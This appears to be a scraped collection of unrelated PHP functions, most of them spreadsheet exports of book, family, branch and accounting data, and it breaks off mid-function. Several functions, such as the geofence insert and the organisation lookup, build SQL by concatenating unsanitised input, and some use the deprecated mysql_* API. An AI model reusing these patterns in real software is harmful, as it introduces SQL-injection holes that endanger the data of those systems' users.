$writer = new Xlsx($spreadsheet);\n $fileName = 'Data Anggota Keluarga';\n\n // Redirect hasil generate xlsx ke web client\n header('Content-Type: application/vnd.openxmlformats-officedocument.spreadsheetml.sheet');\n header('Content-Disposition: attachment;filename=' . $fileName . '.xlsx');\n header('Cache-Control: max-age=0');\n\n $writer->save('php://output');\n }", "function getGeoViewUrl($ar){\n $p = new XParam($ar, array());\n $table = $p->get('table');\n $fieldname = $p->get('fieldname');\n $moid = $this->_moid;\n $templates = 'googlesearch.html';\n return $GLOBALS['TZR_SESSION_MANAGER']::complete_self(true, true).\"skip=1&moid={$moid}&class=XModMap&table={$table}&field={$fieldname}&provider=google&function=geoSearch&template=xmodmap/geosearch.html&readonly=readonly&tplentry=br\";\n }", "public function action_export_obic(){\n\t\t$objPHPExcel = new \\PHPExcel();\n\t\t//add header\n $header = [\n '会社NO', '伝票番号', '発生日', 'システム分類', 'サイト番号', '仕訳区分', '伝票区分', '事業所コード', '行番号', '借方総勘定科目コード',\n '借方補助科目コード', '借方補助内訳科目コード', '借方部門コード', '借方取引先コード', '借方税区分', '借方税込区分',\n '借方金額', '借方消費税額', '借方消費税本体科目コード', '借方分析コード1', '借方分析コード2', '借方分析コード3', '借方分析コード4', '借方分析コード5',\n '借方資金コード', '借方プロジェクトコード', '貸方総勘定科目コード', '貸方補助科目コード', '貸方補助内訳科目コード', '貸方部門コード',\n '貸方取引先コード', '貸方税区分', '貸方税込区分', '貸方金額', '貸方消費税額', '貸方消費税本体科目コード',\n '貸方分析コード1', '貸方分析コード2', '貸方分析コード3', '貸方分析コード4', '貸方分析コード5', '貸方資金コード',\n '貸方プロジェクトコード', '明細摘要', '伝票摘要', 'ユーザID', '借方事業所コード', '貸方事業所コード'\n ];\n\n $objPHPExcel->getProperties()->setCreator('VisionVietnam')\n ->setLastModifiedBy('Phong Phu')\n ->setTitle('Office 2007 Document')\n ->setSubject('Office 2007 Document')\n ->setDescription('Document has been generated by PHP')\n ->setKeywords('Office 2007 openxml php')\n ->setCategory('OBIC File');\n $last_column = null;\n $explicit = [7,8,10,11,12,13,15,16,27,28,29,30,32];\n\n foreach($header as $i=>$v){\n\t\t\t$column = \\PHPExcel_Cell::stringFromColumnIndex($i);\n\t\t\t$objPHPExcel->setActiveSheetIndex(0)->setCellValue($column.'1',$v);\n\t\t\t$objPHPExcel->getActiveSheet()->getStyle($column.'1')\n\t\t\t\t\t\t->applyFromArray([\n\t\t\t\t\t\t 'font' => [\n\t\t\t\t\t\t 'name' => 'Times New Roman',\n\t\t\t\t\t\t 'bold' => true,\n\t\t\t\t\t\t 'italic' => false,\n\t\t\t\t\t\t 'size' => 10,\n\t\t\t\t\t\t 'color' => ['rgb'=> \\PHPExcel_Style_Color::COLOR_WHITE]\n\t\t\t\t\t\t ],\n\t\t\t\t\t\t 'alignment' => [\n\t\t\t\t\t\t 'horizontal' => \\PHPExcel_Style_Alignment::HORIZONTAL_CENTER,\n\t\t\t\t\t\t 'vertical' => \\PHPExcel_Style_Alignment::VERTICAL_CENTER,\n\t\t\t\t\t\t 'wrap' => false\n\t\t\t\t\t\t ]\n\t\t\t\t\t\t]);\n switch($i+1){\n case 4:\n case 15:\n case 16:\n case 18:\n $width = 20;\n break;\n case 13:\n case 14:\n case 20:\n case 21:\n case 22:\n case 23:\n case 24:\n case 25:\n case 30:\n case 31:\n $width = 25;\n break;\n case 10:\n case 11:\n case 12:\n case 19:\n case 26:\n case 27:\n case 28:\n $width = 30;\n break;\n case 29:\n case 44:\n case 45:\n $width = 40;\n break;\n default:\n $width = 15;\n break;\n }\n $objPHPExcel->getActiveSheet()->getColumnDimension($column)->setWidth($width);\n $last_column = $column;\n }\n //decode params\n $param = \\Input::param();\n parse_str(base64_decode($param['p']), $params);\n //get form payment content\n $rows = $this->generate_content($params);\n $i = 0;\n foreach($rows as $row){\n\t\t\tforeach($row as $k=>$v){\n\t\t\t\t$column = \\PHPExcel_Cell::stringFromColumnIndex($k);\n\t\t\t\tif(in_array($k+1,$explicit)){\n\t\t\t\t\t$objPHPExcel->setActiveSheetIndex()->setCellValueExplicit($column.($i+2),$v,\\PHPExcel_Cell_DataType::TYPE_STRING);\n\t\t\t\t}else{\n\t\t\t\t\t$objPHPExcel->setActiveSheetIndex()->setCellValue($column.($i+2),$v);\n\t\t\t\t}\n\t\t\t}\n\t\t\t$i++;\n\t\t}\n\n\t\t$objPHPExcel->getActiveSheet()->getStyle('A1:'.$last_column.'1')->getFill()->setFillType(\\PHPExcel_Style_Fill::FILL_SOLID);\n $objPHPExcel->getActiveSheet()->getStyle('A1:'.$last_column.'1')->getFill()->getStartColor()->setRGB('5f5f5f');\n\n\t\t$objWriter = \\PHPExcel_IOFactory::createWriter($objPHPExcel, 'Excel5');\n\t\tob_end_clean();\n\n\t\theader(\"Last-Modified: \". gmdate(\"D, d M Y H:i:s\") .\" GMT\");\n header(\"Cache-Control: max-age=0\");\n header('Content-Type: application/vnd.ms-excel');\n header('Content-Disposition: attachment;filename=\"obic-'.date('Y-m-d').'.xls\"');\n $objWriter->save('php://output');\n\t\texit;\n }", "function cabang_export_excel(){\r\n\t\t//POST varibale here\r\n\t\t$cabang_id=trim(@$_POST[\"cabang_id\"]);\r\n\t\t$cabang_kode=trim(@$_POST[\"cabang_kode\"]);\r\n\t\t$cabang_kode=str_replace(\"/(<\\/?)(p)([^>]*>)\", \"\",$cabang_kode);\r\n\t\t$cabang_kode=str_replace(\"'\", '\"',$cabang_kode);\r\n\t\t$cabang_kode_akun=trim(@$_POST[\"cabang_kode_akun\"]);\r\n\t\t$cabang_kode_akun=str_replace(\"/(<\\/?)(p)([^>]*>)\", \"\",$cabang_kode_akun);\r\n\t\t$cabang_kode_akun=str_replace(\"'\", '\"',$cabang_kode_akun);\r\n\t\t$cabang_nama=trim(@$_POST[\"cabang_nama\"]);\r\n\t\t$cabang_nama=str_replace(\"/(<\\/?)(p)([^>]*>)\", \"\",$cabang_nama);\r\n\t\t$cabang_nama=str_replace(\"'\", '\"',$cabang_nama);\r\n\t\t$cabang_alamat=trim(@$_POST[\"cabang_alamat\"]);\r\n\t\t$cabang_alamat=str_replace(\"/(<\\/?)(p)([^>]*>)\", \"\",$cabang_alamat);\r\n\t\t$cabang_alamat=str_replace(\"'\", '\"',$cabang_alamat);\r\n\t\t$cabang_kota=trim(@$_POST[\"cabang_kota\"]);\r\n\t\t$cabang_kota=str_replace(\"/(<\\/?)(p)([^>]*>)\", \"\",$cabang_kota);\r\n\t\t$cabang_kota=str_replace(\"'\", '\"',$cabang_kota);\r\n\t\t$cabang_kodepos=trim(@$_POST[\"cabang_kodepos\"]);\r\n\t\t$cabang_kodepos=str_replace(\"/(<\\/?)(p)([^>]*>)\", \"\",$cabang_kodepos);\r\n\t\t$cabang_kodepos=str_replace(\"'\", '\"',$cabang_kodepos);\r\n\t\t$cabang_propinsi=trim(@$_POST[\"cabang_propinsi\"]);\r\n\t\t$cabang_propinsi=str_replace(\"/(<\\/?)(p)([^>]*>)\", \"\",$cabang_propinsi);\r\n\t\t$cabang_propinsi=str_replace(\"'\", '\"',$cabang_propinsi);\r\n\t\t$cabang_keterangan=trim(@$_POST[\"cabang_keterangan\"]);\r\n\t\t$cabang_keterangan=str_replace(\"/(<\\/?)(p)([^>]*>)\", \"\",$cabang_keterangan);\r\n\t\t$cabang_keterangan=str_replace(\"'\", '\"',$cabang_keterangan);\r\n\t\t$cabang_aktif=trim(@$_POST[\"cabang_aktif\"]);\r\n\t\t$cabang_aktif=str_replace(\"/(<\\/?)(p)([^>]*>)\", \"\",$cabang_aktif);\r\n\t\t$cabang_aktif=str_replace(\"'\", '\"',$cabang_aktif);\r\n\t\t$cabang_pajak=trim(@$_POST[\"cabang_pajak\"]);\r\n\t\t$cabang_pajak=str_replace(\"/(<\\/?)(p)([^>]*>)\", \"\",$cabang_pajak);\r\n\t\t$cabang_pajak=str_replace(\",\", \",\",$cabang_pajak);\r\n\t\t$cabang_pajak=str_replace(\"'\", '\"',$cabang_pajak);\r\n\t\t$option=$_POST['currentlisting'];\r\n\t\t$filter=$_POST[\"query\"];\r\n\t\t\r\n\t\t$query = $this->m_cabang->cabang_export_excel($cabang_id ,$cabang_kode,$cabang_kode_akun,$cabang_nama ,$cabang_alamat ,$cabang_kota ,$cabang_kodepos ,$cabang_propinsi ,$cabang_keterangan ,$cabang_aktif ,$option,$filter,$cabang_pajak);\r\n\t\t\r\n\t\tto_excel($query,\"cabang\"); \r\n\t\techo '1';\r\n\t\t\t\r\n\t}", "function dibujar_Cerca($lat1,$lat2,$lat3,$lat4,$lng1,$lng2,$lng3,$lng4,$connection,$user,$name){\n\t$query = \"INSERT INTO id_cercas(lat1,lat2,lat3,lat4,lng1,lng2,lng3,lng4,user,name) VALUES('$lat1','$lat2','$lat3','$lat4','$lng1','$lng2','$lng3','$lng4','$user','$name')\";\n\t$resultado = $connection->query($query);\n\t\n}", "function RecuperarInfoOrg($orgReportadas, $infoSolicitada)\n{\n\t$infoRecuperada = array();\n\t//peticion de la provincia de la organizacion\n\tif($infoSolicitada == \"provincia\")\n\t{\n\t\tforeach ($orgReportadas as $valor) \n\t\t{\n\t\t\t$sqlZonaOrg = \"select p.provincia from u_organizaciones u inner join u_provincia p on (u.cod_provincia = p.cod_provincia) where cod_u_organizaciones = \" . $valor;\n\t\t\t//echo $sqlZonaOrg . \"<br>\";\n\t\t\t$resSqlZonaOrg = query($sqlZonaOrg);\n\t\t\t$numRow = mysql_num_rows($resSqlZonaOrg);\n\t\t\tif($numRow > 0)\n\t\t\t{\n\t\t\t\twhile($fila = mysql_fetch_array($resSqlZonaOrg))\n\t\t\t\t{\n\t\t\t\t\tarray_push($infoRecuperada, $fila['provincia']);\t\t\t\t\t\t\n\t\t\t\t}\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\tarray_push($infoRecuperada, \"Dato faltante\");\n\t\t\t}\n\n\t\t\t\n\t\t}\n\t}\n\t// peticion del canton de la organizacion\n\tif($infoSolicitada == \"canton\")\n\t{\n\t\tforeach ($orgReportadas as $valor) \n\t\t{\n\t\t\t$sqlZonaOrg = \"select c.canton from u_organizaciones u inner join u_provincia p on (u.cod_provincia = p.cod_provincia) inner join u_canton c on (u.cod_canton = c.cod_canton and p.cod_provincia = c.cod_provincia) where cod_u_organizaciones = \" . $valor;\n\t\t\t$resSqlZonaOrg = query($sqlZonaOrg);\n\t\t\t$numRow = mysql_num_rows($resSqlZonaOrg);\n\t\t\tif($numRow > 0)\n\t\t\t{\n\t\t\t\twhile($fila = mysql_fetch_array($resSqlZonaOrg))\n\t\t\t\t{\n\t\t\t\t\tarray_push($infoRecuperada, $fila['canton']);\n\t\t\t\t}\n\t\t\t}\n\t\t\telse\n\t\t\t\tarray_push($infoRecuperada, \"Dato faltante\");\n\t\t\t\n\t\t}\n\t}\n\t//peticion de la parroquia de la organizacion\n\tif($infoSolicitada == \"parroquia\")\n\t{\n\t\tforeach ($orgReportadas as $valor) \n\t\t{\n\t\t\t$sqlZonaOrg = \"select pa.parroquia from u_organizaciones u inner join u_provincia p on (u.cod_provincia = p.cod_provincia) inner join u_canton c on (u.cod_canton = c.cod_canton and p.cod_provincia = c.cod_provincia) inner join u_parroquia pa on (pa.cod_canton = c.cod_canton and pa.cod_parroquia = u.cod_parroquia) where cod_u_organizaciones = \" . $valor;\n\t\t\t$resSqlZonaOrg = query($sqlZonaOrg);\n\t\t\t$numRow = mysql_num_rows($resSqlZonaOrg);\n\t\t\tif($numRow > 0)\n\t\t\t{\n\t\t\t\twhile($fila = mysql_fetch_array($resSqlZonaOrg))\n\t\t\t\t{\n\t\t\t\t\tarray_push($infoRecuperada, $fila['parroquia']);\n\t\t\t\t}\n\t\t\t}\n\t\t\telse\n\t\t\t\tarray_push($infoRecuperada, \"Dato faltante\");\t\t\t\n\t\t}\n\t}\n\t//peticion de los nombres de las organizaciones\n\tif($infoSolicitada == \"nombresOrg\")\n\t{\n\t\tforeach($orgReportadas as $valor)\n\t\t{\n\t\t\t$sqlNombreOrg = \"select organizacion from u_organizaciones where cod_u_organizaciones = \" . $valor;\n\t\t\t$resSqlNombreOrg = query($sqlNombreOrg);\n\t\t\t$numRow = mysql_num_rows($resSqlNombreOrg);\n\n\t\t\tif($numRow > 0)\n\t\t\t{\n\t\t\t\twhile($fila = mysql_fetch_array($resSqlNombreOrg))\n\t\t\t\t{\n\t\t\t\t\tarray_push($infoRecuperada, $fila['organizacion']);\n\t\t\t\t}\n\t\t\t}\n\t\t\telse\n\t\t\t\tarray_push($infoRecuperada, \"Dato faltante\");\n\t\t}\n\t}\n\t//se devuelve el ruc dependiendo de cual (provisional/definitivo) se solicite\n\tif($infoSolicitada == \"rucProvisionalOrg\" or $infoSolicitada == \"rucDefinitivoOrg\")\n\t{\n\t\t$opcion = 0;\n\t\tswitch ($infoSolicitada) \n\t\t{\n\t\t\tcase \"rucProvisionalOrg\":\n\t\t\t\t# code...\n\t\t\t\t$opcion = 1;\n\t\t\t\tbreak;\n\t\t\tcase \"rucDefinitivoOrg\":\n\t\t\t\t$opcion = 2;\n\t\t\t\tbreak;\t\t\t\n\t\t\tdefault:\n\t\t\t\t$opcion = 0;\n\t\t\t\tbreak;\n\t\t}\n\n\t\tforeach($orgReportadas as $valor)\n\t\t{\n\t\t\t$sqlRucOrg = \"\";\n\t\t\tif($opcion == 1) $sqlRucOrg = \"select ruc_provisional from u_organizaciones where cod_u_organizaciones = \" . $valor;\n\t\t\tif($opcion == 2) $sqlRucOrg = \"select ruc_definitivo from u_organizaciones where cod_u_organizaciones = \" . $valor;\n\n\t\t\tif($opcion != 0)\n\t\t\t{\n\t\t\t\t$resSqlRucOrg = query($sqlRucOrg);\n\t\t\t\t$numRow = mysql_num_rows($resSqlRucOrg);\n\t\t\t\tif($numRow > 0)\n\t\t\t\t{\n\t\t\t\t\twhile($fila = mysql_fetch_array($resSqlRucOrg))\n\t\t\t\t\t{\n\t\t\t\t\t\tif($opcion == 1) array_push($infoRecuperada, $fila['ruc_provisional']);\n\t\t\t\t\t\tif($opcion == 2) array_push($infoRecuperada, $fila['ruc_definitivo']);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t\tarray_push($infoRecuperada, \"Dato faltante\");\n\t\t\t}\n\t\t\telse\n\t\t\t\tarray_push($infoRecuperada, \"Dato faltante\");\n\t\t\t\n\t\t}\n\t}\n\t//peticion de fecha de registro de la organizacion\n\tif($infoSolicitada == \"fechaRegistro\")\n\t{\n\t\tforeach($orgReportadas as $valor)\n\t\t{\n\t\t\t$sqlFechaRegistro = \"select fecha_registro from u_organizaciones where cod_u_organizaciones = \" . $valor;\n\t\t\t$resSqlFechaRegistro = query($sqlFechaRegistro);\n\t\t\t$numRow = mysql_num_rows($resSqlFechaRegistro);\n\t\t\tif($numRow > 0)\n\t\t\t{\n\t\t\t\twhile($fila = mysql_fetch_array($resSqlFechaRegistro))\n\t\t\t\t{\n\t\t\t\t\tarray_push($infoRecuperada, $fila['fecha_registro']);\n\t\t\t\t}\n\t\t\t}\n\t\t\telse\n\t\t\t\tarray_push($infoRecuperada, \"Dato faltante\");\n\t\t}\n\t}\n\t//peticion del circuito economico de la organizacion\n\tif($infoSolicitada == \"circuito\")\n\t{\n\t\tforeach($orgReportadas as $valor)\n\t\t{\n\t\t\t$sqlCircuitoEconomico = \"select circuito_economico from u_organizaciones where cod_u_organizaciones = \" . $valor;\n\t\t\t$resSqlCircuitoEconomico = query($sqlCircuitoEconomico);\n\t\t\t$numRow = mysql_num_rows($resSqlCircuitoEconomico);\n\t\t\tif($numRow > 0)\n\t\t\t{\n\t\t\t\twhile($fila = mysql_fetch_array($resSqlCircuitoEconomico))\n\t\t\t\t{\n\t\t\t\t\tarray_push($infoRecuperada, $fila['circuito_economico']);\n\t\t\t\t}\n\t\t\t}\n\t\t\telse\n\t\t\t\tarray_push($infoRecuperada, \"Dato faltante\");\n\t\t}\n\t}\n\t//peticion de la actividad de la matriz productiva\n\tif($infoSolicitada == \"identificacionMatriz\")\n\t{\n\t\tforeach($orgReportadas as $valor)\n\t\t{\n\t\t\t$sqlActividadMatriz = \"select identificacion_actividad_mp from u_organizaciones where cod_u_organizaciones = \" . $valor;\n\t\t\t//echo $sqlActividadMatriz . \"<br>\";\n\t\t\t$resSqlActividadMatriz = query($sqlActividadMatriz);\n\t\t\t$numRow = mysql_num_rows($resSqlActividadMatriz);\n\t\t\tif($numRow > 0)\n\t\t\t{\n\t\t\t\twhile($fila = mysql_fetch_array($resSqlActividadMatriz))\n\t\t\t\t{\n\t\t\t\t\tarray_push($infoRecuperada, $fila['identificacion_actividad_mp']);\n\t\t\t\t}\n\t\t\t}\n\t\t\telse\n\t\t\t\tarray_push($infoRecuperada, \"Dato faltante\");\n\t\t}\n\t}\n\t//peticion de la actividad de la matriz productiva\n\tif($infoSolicitada == \"categoriaMatriz\")\n\t{\n\t\tforeach($orgReportadas as $valor)\n\t\t{\n\t\t\t$sqlCategoriaMatriz = \"select categoria_actividad_mp from u_organizaciones where cod_u_organizaciones = \" . $valor;\n\t\t\t//echo $sqlCategoriaMatriz . \"<br>\";\n\t\t\t$resSqlCategoriaMatriz = query($sqlCategoriaMatriz);\n\t\t\t$numRow = mysql_num_rows($resSqlCategoriaMatriz);\n\t\t\tif($numRow > 0)\n\t\t\t{\n\t\t\t\twhile($fila = mysql_fetch_array($resSqlCategoriaMatriz))\n\t\t\t\t{\n\t\t\t\t\tarray_push($infoRecuperada, $fila['categoria_actividad_mp']);\n\t\t\t\t}\n\t\t\t}\n\t\t\telse\n\t\t\t\tarray_push($infoRecuperada, \"Dato faltante\");\n\t\t}\n\t}\n\treturn $infoRecuperada;\n\t\n\n}", "public function export(){\n include APPPATH.'third_party/PHPExcel/Classes/PHPExcel.php';\n \n // Panggil class PHPExcel nya\n $excel = new PHPExcel();\n\n // Settingan awal fil excel\n $excel->getProperties()->setCreator('My Notes Code')\n ->setLastModifiedBy('My Notes Code')\n ->setTitle(\"Data Buku\")\n ->setSubject(\"tb_buku\")\n ->setDescription(\"Laporan Semua Data Buku\")\n ->setKeywords(\"Data Buku\");\n\n // Buat sebuah variabel untuk menampung pengaturan style dari header tabel\n $style_col = array(\n 'font' => array('bold' => true), // Set font nya jadi bold\n 'alignment' => array(\n 'horizontal' => PHPExcel_Style_Alignment::HORIZONTAL_CENTER, // Set text jadi ditengah secara horizontal (center)\n 'vertical' => PHPExcel_Style_Alignment::VERTICAL_CENTER // Set text jadi di tengah secara vertical (middle)\n ),\n 'borders' => array(\n 'top' => array('style' => PHPExcel_Style_Border::BORDER_THIN), // Set border top dengan garis tipis\n 'right' => array('style' => PHPExcel_Style_Border::BORDER_THIN), // Set border right dengan garis tipis\n 'bottom' => array('style' => PHPExcel_Style_Border::BORDER_THIN), // Set border bottom dengan garis tipis\n 'left' => array('style' => PHPExcel_Style_Border::BORDER_THIN) // Set border left dengan garis tipis\n )\n );\n\n // Buat sebuah variabel untuk menampung pengaturan style dari isi tabel\n $style_row = array(\n 'alignment' => array(\n 'horizontal' => PHPExcel_Style_Alignment::HORIZONTAL_CENTER, // Set text jadi ditengah secara horizontal (center)\n 'vertical' => PHPExcel_Style_Alignment::VERTICAL_CENTER // Set text jadi di tengah secara vertical (middle)\n ),\n 'borders' => array(\n 'top' => array('style' => PHPExcel_Style_Border::BORDER_THIN), // Set border top dengan garis tipis\n 'right' => array('style' => PHPExcel_Style_Border::BORDER_THIN), // Set border right dengan garis tipis\n 'bottom' => array('style' => PHPExcel_Style_Border::BORDER_THIN), // Set border bottom dengan garis tipis\n 'left' => array('style' => PHPExcel_Style_Border::BORDER_THIN) // Set border left dengan garis tipis\n )\n );\n\n $excel->setActiveSheetIndex(0)->setCellValue('A1', \"RELASI INTI MEDIA ( FAMILIA, ISTANA MEDIA, QUDSI MEDIA DAN FORUM )\"); // Set kolom A1 dengan tulisan \"DATA SISWA\"\n $excel->setActiveSheetIndex(0)->setCellValue('A2', \"Jl. Permadi Nyutran RT/RW. 61/19 MJ II No. 1606 C, Wirogunan, Mergangsan, Yogyakarta 55151\"); // Set kolom A1 dengan tulisan \"DATA SISWA\"\n $excel->setActiveSheetIndex(0)->setCellValue('A3', \"Email: [email protected] Telp: (0274) 2870300\"); // Set kolom A1 dengan tulisan \"DATA SISWA\"\n $excel->setActiveSheetIndex(0)->setCellValue('A5', \"DATA BUKU\");\n $excel->getActiveSheet()->mergeCells('A1:N1'); // Set Merge Cell pada kolom A1 sampai E1\n $excel->getActiveSheet()->mergeCells('A2:N2'); // Set Merge Cell pada kolom A1 sampai E1\n $excel->getActiveSheet()->mergeCells('A3:N3'); // Set Merge Cell pada kolom A1 sampai E1\n $excel->getActiveSheet()->mergeCells('A5:N5'); // Set Merge Cell pada kolom A1 sampai E1\n $excel->getActiveSheet()->getStyle('A1')->getFont()->setBold(TRUE); // Set bold kolom A1\n $excel->getActiveSheet()->getStyle('A5')->getFont()->setBold(TRUE); // Set bold kolom A1\n $excel->getActiveSheet()->getStyle('A1')->getFont()->setSize(15); // Set font size 15 untuk kolom A1\n $excel->getActiveSheet()->getStyle('A5')->getFont()->setSize(15);\n $excel->getActiveSheet()->getStyle('A1')->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n $excel->getActiveSheet()->getStyle('A2')->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n $excel->getActiveSheet()->getStyle('A3')->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n $excel->getActiveSheet()->getStyle('A5')->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER); // Set text center untuk kolom A1\n\n // Buat header tabel nya pada baris ke 3\n $excel->setActiveSheetIndex(0)->setCellValue('A7', \"NO\"); // Set kolom A3 dengan tulisan \"NO\"\n $excel->setActiveSheetIndex(0)->setCellValue('B7', \"KODE BUKU\"); // Set kolom A3 dengan tulisan \"NO\"\n $excel->setActiveSheetIndex(0)->setCellValue('C7', \"JUDUL\"); // Set kolom B3 dengan tulisan \"NIS\"\n $excel->setActiveSheetIndex(0)->setCellValue('D7', \"KATEGORI\"); // Set kolom C3 dengan tulisan \"NAMA\"\n $excel->setActiveSheetIndex(0)->setCellValue('E7', \"PENULIS\"); // Set kolom D3 dengan tulisan \"JENIS KELAMIN\"\n $excel->setActiveSheetIndex(0)->setCellValue('F7', \"PENERBIT\");\n $excel->setActiveSheetIndex(0)->setCellValue('G7', \"UKURAN\");\n $excel->setActiveSheetIndex(0)->setCellValue('H7', \"JUMLAH HALAMAN\");\n $excel->setActiveSheetIndex(0)->setCellValue('I7', \"ISBN\");\n $excel->setActiveSheetIndex(0)->setCellValue('J7', \"TAHUN TERBIT\");\n $excel->setActiveSheetIndex(0)->setCellValue('K7', \"HARGA (Rp)\");\n $excel->setActiveSheetIndex(0)->setCellValue('L7', \"STOK\");\n $excel->setActiveSheetIndex(0)->setCellValue('M7', \"KETERANGAN\");\n $excel->setActiveSheetIndex(0)->setCellValue('N7', \"STATUS\");\n\n // Apply style header yang telah kita buat tadi ke masing-masing kolom header\n $excel->getActiveSheet()->getStyle('A7')->applyFromArray($style_col);\n $excel->getActiveSheet()->getStyle('B7')->applyFromArray($style_col);\n $excel->getActiveSheet()->getStyle('C7')->applyFromArray($style_col);\n $excel->getActiveSheet()->getStyle('D7')->applyFromArray($style_col);\n $excel->getActiveSheet()->getStyle('E7')->applyFromArray($style_col);\n $excel->getActiveSheet()->getStyle('F7')->applyFromArray($style_col);\n $excel->getActiveSheet()->getStyle('G7')->applyFromArray($style_col);\n $excel->getActiveSheet()->getStyle('H7')->applyFromArray($style_col);\n $excel->getActiveSheet()->getStyle('I7')->applyFromArray($style_col);\n $excel->getActiveSheet()->getStyle('J7')->applyFromArray($style_col);\n $excel->getActiveSheet()->getStyle('K7')->applyFromArray($style_col);\n $excel->getActiveSheet()->getStyle('L7')->applyFromArray($style_col);\n $excel->getActiveSheet()->getStyle('M7')->applyFromArray($style_col);\n $excel->getActiveSheet()->getStyle('N7')->applyFromArray($style_col);\n\n\n // Panggil function view yang ada di SiswaModel untuk menampilkan semua data siswanya\n $buku = $this->buku_model->showAllBuku();\n\n $no = 1; // Untuk penomoran tabel, di awal set dengan 1\n $numrow = 8; // Set baris pertama untuk isi tabel adalah baris ke 4\n foreach($buku as $data){ // Lakukan looping pada variabel siswa\n $excel->setActiveSheetIndex(0)->setCellValue('A'.$numrow, $no);\n $excel->setActiveSheetIndex(0)->setCellValue('B'.$numrow, $data->kd_buku);\n $excel->setActiveSheetIndex(0)->setCellValue('C'.$numrow, $data->judul);\n $excel->setActiveSheetIndex(0)->setCellValue('D'.$numrow, $data->nama_kategori);\n $excel->setActiveSheetIndex(0)->setCellValue('E'.$numrow, $data->nama_penulis);\n $excel->setActiveSheetIndex(0)->setCellValue('F'.$numrow, $data->nama_penerbit);\n $excel->setActiveSheetIndex(0)->setCellValue('G'.$numrow, $data->ukuran);\n $excel->setActiveSheetIndex(0)->setCellValue('H'.$numrow, $data->jml_halaman);\n $excel->setActiveSheetIndex(0)->setCellValue('I'.$numrow, $data->isbn);\n $excel->setActiveSheetIndex(0)->setCellValue('J'.$numrow, $data->thn_terbit);\n $excel->setActiveSheetIndex(0)->setCellValue('K'.$numrow, $data->harga);\n $excel->setActiveSheetIndex(0)->setCellValue('L'.$numrow, $data->stok);\n $excel->setActiveSheetIndex(0)->setCellValue('M'.$numrow, $data->keterangan);\n $excel->setActiveSheetIndex(0)->setCellValue('N'.$numrow, $data->status);\n \n // Apply style row yang telah kita buat tadi ke masing-masing baris (isi tabel)\n $excel->getActiveSheet()->getStyle('A'.$numrow)->applyFromArray($style_row);\n $excel->getActiveSheet()->getStyle('B'.$numrow)->applyFromArray($style_row);\n $excel->getActiveSheet()->getStyle('C'.$numrow)->applyFromArray($style_row);\n $excel->getActiveSheet()->getStyle('D'.$numrow)->applyFromArray($style_row);\n $excel->getActiveSheet()->getStyle('E'.$numrow)->applyFromArray($style_row);\n $excel->getActiveSheet()->getStyle('F'.$numrow)->applyFromArray($style_row);\n $excel->getActiveSheet()->getStyle('G'.$numrow)->applyFromArray($style_row);\n $excel->getActiveSheet()->getStyle('H'.$numrow)->applyFromArray($style_row);\n $excel->getActiveSheet()->getStyle('I'.$numrow)->applyFromArray($style_row);\n $excel->getActiveSheet()->getStyle('J'.$numrow)->applyFromArray($style_row);\n $excel->getActiveSheet()->getStyle('K'.$numrow)->applyFromArray($style_row);\n $excel->getActiveSheet()->getStyle('L'.$numrow)->applyFromArray($style_row);\n $excel->getActiveSheet()->getStyle('M'.$numrow)->applyFromArray($style_row);\n $excel->getActiveSheet()->getStyle('N'.$numrow)->applyFromArray($style_row);\n \n $no++; // Tambah 1 setiap kali looping\n $numrow++; // Tambah 1 setiap kali looping\n }\n\n // Set width kolom\n $excel->getActiveSheet()->getColumnDimension('A')->setWidth(5); // Set width kolom A\n $excel->getActiveSheet()->getColumnDimension('B')->setWidth(13); // Set width kolom B\n $excel->getActiveSheet()->getColumnDimension('C')->setWidth(60); // Set width kolom C\n $excel->getActiveSheet()->getColumnDimension('D')->setWidth(25); // Set width kolom D\n $excel->getActiveSheet()->getColumnDimension('E')->setWidth(40); // Set width kolom E\n $excel->getActiveSheet()->getColumnDimension('F')->setWidth(15); // Set width kolom E\n $excel->getActiveSheet()->getColumnDimension('G')->setWidth(13); // Set width kolom E\n $excel->getActiveSheet()->getColumnDimension('H')->setWidth(20); // Set width kolom E\n $excel->getActiveSheet()->getColumnDimension('I')->setWidth(20); // Set width kolom E\n $excel->getActiveSheet()->getColumnDimension('J')->setWidth(15); // Set width kolom E\n $excel->getActiveSheet()->getColumnDimension('K')->setWidth(18); // Set width kolom E\n $excel->getActiveSheet()->getColumnDimension('L')->setWidth(10); // Set width kolom E\n $excel->getActiveSheet()->getColumnDimension('M')->setWidth(40); // Set width kolom E\n $excel->getActiveSheet()->getColumnDimension('N')->setWidth(15); // Set width kolom E\n \n // Set height semua kolom menjadi auto (mengikuti height isi dari kolommnya, jadi otomatis)\n $excel->getActiveSheet()->getDefaultRowDimension()->setRowHeight(-1);\n\n // Set orientasi kertas jadi LANDSCAPE\n $excel->getActiveSheet()->getPageSetup()->setOrientation(PHPExcel_Worksheet_PageSetup::ORIENTATION_LANDSCAPE);\n\n // Set judul file excel nya\n $excel->getActiveSheet(0)->setTitle(\"Laporan Data Buku\");\n $excel->setActiveSheetIndex(0);\n\n // Proses file excel\n header('Content-Type: application/vnd.openxmlformats-officedocument.spreadsheetml.sheet');\n header('Content-Disposition: attachment; filename=\"Data Buku.xlsx\"'); // Set nama file excel nya\n header('Cache-Control: max-age=0');\n\n $write = PHPExcel_IOFactory::createWriter($excel, 'Excel2007');\n $write->save('php://output');\n }", "function CrearDevoluciones($objPHPExcel,$indice,$Codigo,$ID_Proyecto,$NombreProyecto){\n $bdProyectos = new MProyectos();\n $bdMaterieales = new MMaterial();\n \n $objPHPExcel->createSheet();\n $fila = mysqli_fetch_array($bdMaterieales->VerificarDisponibilidad($Codigo),MYSQLI_ASSOC);\n $nombreMaterial = $fila['Nombre'];\n $objPHPExcel->setActiveSheetIndex($indice)->mergeCells('C2:F2');\n $objPHPExcel->setActiveSheetIndex($indice)->mergeCells('C3:F3');\n $objPHPExcel->setActiveSheetIndex($indice)\n ->setCellValue('C2', 'Proycon S.A')\n ->setCellValue('C3', 'Reportes Devolucion de materiales a Bodega')\n ->setCellValue('C4', 'Proyecto')\n ->setCellValue('D4', $NombreProyecto)\n ->setCellValue('C5', 'Material')\n ->setCellValue('D5',$nombreMaterial)\n ->setCellValue('C8', 